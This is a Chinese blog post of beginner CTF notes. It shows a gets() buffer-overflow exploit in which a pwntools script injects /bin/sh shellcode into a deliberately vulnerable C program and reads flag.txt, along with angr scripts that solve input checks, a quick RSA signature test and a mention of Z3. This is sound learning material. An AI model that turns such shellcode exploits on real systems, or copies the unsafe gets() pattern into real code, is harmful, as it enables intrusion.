CTF 入门的一些笔记
2024-02-21 20:03:24

shellcode 注入

需要解的程序, 目的是获取同目录下的 flag.txt 内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// chall.c
#include <stdio.h>
#include <stdlib.h>

void vuln(void)
{
char buf[100];
printf("<Text 2> %p\n", buf);
gets(buf);
}

void main(void)
{
char sample[20];
puts("<Text 1>");
fgets(sample, sizeof(sample) - 1, stdin);
vuln();
}

编译命令

1
gcc chall.c -o chall -fno-stack-protector -z execstack

可以注意 execstack 这一项.

一开始我本想用第二个 gets 溢出来重写 $rbp 寄存器到 system 的地址, 然后 $rdi/bin/sh 来执行 system("/bin/sh"); 以获取命令行, 但是问题出现在拿不到远程的 system 地址.

后来看了一眼网上, 可以用 shellcode 来解决

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# solve.py
from pwn import *
# lib = gdb.debug("<local file>")
lib = remote("<remote addr>", <port>)
print(lib.recv())
# 随便写点什么填充第一个输入
lib.sendline(b"a")
re = lib.recv()
print(re)
# 从第二个输出中获取第二个字符数组的地址
addr = int(re[-15:-1], 16)
print(re[-15:-1])
# 获取 bytes 类型的 system("/bin/sh"); 的 shellcode
bash_bytes = asm(shellcraft.amd64.linux.sh(),arch='amd64', os='linux')
print(len(bash_bytes))
# 填充 shellcode 到第二个字符数组, 同时用 overflow 重写 `$rbp` 到之前获取的第二个字符数组开头
lib.sendline(bash_bytes + b"\x00" * (120 - len(bash_bytes)) + p64(addr, endian="little"))
# 获取 flag.txt 内容
lib.sendline(b"cat flag.txt")
lib.recv()

angr 破解输入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// chall.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char key[50] = "_________________<Text_1>______________\xC0\xDE";

void win(void)
{
system("/bin/sh");
}

void main(void)
{
char input[50];
fgets(input, sizeof(input) - 1, stdin);
if (strlen(input) == strlen(key)) {
for (int i = 0; i < strlen(key); i++) {
if ((input[i] ^ 0x27) != key[i]) {
exit(0);
}
}
system("/bin/sh");
}
}

这里是要输入一个合适的字符串, 使程序走到 system 这一行
然后我就想到了可以用 Angr 来爆破输入的字符串
编译命令

1
gcc chall.c -o chall

解决脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# solve.py
import angr
import sys
# 程序地址
path_to_binary = "./chall"
# 载入程序
project = angr.Project(path_to_binary)
# 入口点为默认程序入口点
initial_state = project.factory.entry_state()
# 初始化模拟器
simulation = project.factory.simgr(initial_state)
# system 那一行的地址 (0x400000 开头是因为 Angr 的 pie 地址默认是 0x400000)
print_good_address = 0x400924
# 寻找解决方案
simulation.explore(find=print_good_address)

if simulation.found:
solution_state = simulation.found[0]
# 输出输入值
solution = solution_state.posix.dumps(sys.stdin.fileno())
print(solution)
else:
raise Exception('Could not find the solution')

然后

1
2
3
4
5
6
from pwn import *
# 提交解决方案地址
lib = remote("<remote addr>", 1111)
# 上一步获得的值
lib.sendline(b'cNB@H\x07}FDDFN\x07NT\x07SOB\x07EBTS\x07dtb\x07WUHABTTHU\t\xe7\xf9\x00\x00\x00\x00\x00\x00\x00')
lib.interactive()

angr - 2

当我们遇到像下面这种一长串来验证一个FLAG全局变量的时候(WolvCTF23-Rev-Homework_help):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
void __stack_chk_fail(void)
{
int iVar1;
long lVar2;
uint uVar3;
long in_FS_OFFSET;
uint local_15c;
uint auStack344 [2];
undefined8 local_150;
undefined8 local_148;
undefined8 local_140;
undefined8 local_138;
undefined8 local_130;
undefined8 local_128;
undefined8 local_120;
undefined8 local_118;
undefined8 local_110;
undefined8 local_108;
undefined8 local_100;
undefined8 local_f8;
undefined8 local_f0;
undefined8 local_e8;
undefined8 local_e0;
__jmp_buf_tag local_d8;
long local_10;

local_10 = *(long *)(in_FS_OFFSET + 0x28);
auStack344[1] = 0x14;
local_150 = 0x1200000017;
local_148 = 0x500000001d;
local_140 = 0x5d00000046;
local_138 = 0x4100000042;
local_130 = 0x330000006c;
local_128 = 0x5a0000005d;
local_120 = 0x3a0000000e;
local_118 = 0x410000006a;
local_110 = 0x5700000040;
local_108 = 0x3400000008;
local_100 = 0xb0000003c;
local_f8 = 0x3400000003;
local_f0 = 0x4600000028;
local_e8 = 0x530000005f;
local_e0 = 0x5000000010;
local_15c = 0x36;
iVar1 = _setjmp(&local_d8);
if (iVar1 == 0) {
lVar2 = 0;
uVar3 = 0x41;
while( true ) {
local_15c = local_15c ^ uVar3;
if ((int)(char)FLAG[lVar2] != local_15c) {
/* WARNING: Subroutine does not return */
__longjmp_chk(&local_d8,1);
}
lVar2 = lVar2 + 1;
if (lVar2 == 0x20) break;
uVar3 = auStack344[lVar2];
}
// addr: 0x13f5
puts("Well Done.");
}
else {
// addr: 0x1414
puts("Nope.");
}
if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
return;
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}

如果不想手动分析(这个分析相对来说也不是很困难?)也可以用 Angr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
# solve.py
import angr
import sys
import claripy

def is_successful(state):
global flag
# 检查 stdout 有没有 Well Done 字段
return b'Well Done' in state.posix.dumps(1)

def should_abort(state):
# 检查控制台 stdout 有没有 Nope 字段
return b'Nope' in state.posix.dumps(1)

# 加载二进制文件, 当我们分析的二进制没有受外部库显著的影响时, 可以关掉 auto_load_libs
project = angr.Project("F:/Downloads/homework_help", auto_load_libs = False)
print(project.loader.find_symbol("__stack_chk_fail").rebased_addr)
# 从这个方法开始执行
state = project.factory.blank_state(addr=project.loader.find_symbol("__stack_chk_fail").rebased_addr)
# 把 FLAG 变量当作一个 solver 的变量, 我们目的就是让 Angr 构造一个合适的 FLAG 来达到 is_successful 条件
# 第一个是自定义名字, 可以随意, 第二个参数是长度, 通过 Ghidra 可以看到程序中为 32 bytes 长, 也就是 32 * 8 bits 长
flag = state.solver.BVS('FLAG', 32 * 8)
# FLAG addr
print(project.loader.find_symbol("FLAG").rebased_addr)
# 把 FLAG 填充到全局 FLAG 符号的内存位置里
state.memory.store(project.loader.find_symbol("FLAG").rebased_addr, flag)
# 构造一个模拟器
simulation = project.factory.simulation_manager(state)
# 优化用的, 去掉也没事应该
simulation.one_active.options.add(angr.options.LAZY_SOLVES)
# 这里同时用 puts("Well Done.") 和 puts("Nope.") 本身的地址和控制台输出检查作为 find 条件, 实际上可以只使用一个
simulation.explore(find=[is_successful, 0x004013f5] , avoid=[should_abort, 0x401414])

for deadended in simulation.deadended:
print("Valid memory access triggered by %s" % repr(deadended.posix.dumps(0)))

for errored in simulation.errored:
print("%s caused by %s" % (errored.error, repr(errored.state.posix.dumps(0))))

if simulation.found:
for s in simulation.found:
# 输出 stdin 的内容
print("input:", s.posix.dumps(0))
# 输出程序 stdout
print("output:", s.posix.dumps(1))
# 输出达到 is_successful 条件的 FLAG 值
print(s.solver.eval(flag, cast_to=bytes).decode())
else:
raise Exception('Could not find the solution')

RSA

遇到给出 N, E 和 C 的情况, 应该能确认是 RSA 了.
这个时候要确认是 RSA 加密还是签名, 不然可能会和我一样浪费几个小时在 RsaCtfTool 和 yafu 上面 (x)
可以在开始尝试解密的时候用

1
2
3
4
5
6
7
8
import Crypto.Util.number as cun

n = #
e = #
c = #

p = pow(c, e, n)
print(cun.long_to_bytes(p))

看看是不是签名, 然后再尝试解密.

Z3 solver

z3 solver 的 python 库可以用来求解约束.
比如在 hack-a-sat 里面有一个chal是每个表情代表一个 32 以内的数字, 然后给出每个数字的因子和其他的一些条件, 这个时候就可以用 z3 solver 创建一系列变量然后给他们添加chal里给出的条件, 然后求解得到每一个的对应值.

Prev
2024-02-21 20:03:24
Next